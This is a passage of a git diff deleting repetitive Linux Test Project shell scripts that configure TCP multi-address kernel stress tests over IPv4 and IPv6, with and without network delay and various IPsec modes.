testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09 deleted file mode 100644 index 1efd34e9..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip09 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10 deleted file mode 100644 index 46a02ff4..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip10 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip10 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11 deleted file mode 100644 index ec2a6fa2..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip11 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip11 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12 deleted file mode 100644 index 19752557..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip12 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip12 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13 deleted file mode 100644 index d50b5988..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip13 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip13 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14 deleted file mode 100644 index 0dafd563..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip14 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffip14 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp4-multi-diffip14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01 deleted file mode 100644 index 9b0a1bad..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip01 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02 deleted file mode 100644 index cebe14d7..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip02 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03 deleted file mode 100644 index 89114642..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip03 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04 deleted file mode 100644 index 66594c8d..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip04 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05 deleted file mode 100644 index f678cce5..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip05 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06 deleted file mode 100644 index db6e0ef0..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip06 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07 deleted file mode 100644 index 3f0eb968..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip07 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08 deleted file mode 100644 index 3cbf6eb8..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip08 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09 deleted file mode 100644 index d2ab66bc..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip09 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10 deleted file mode 100644 index eb59dce2..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip10 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See 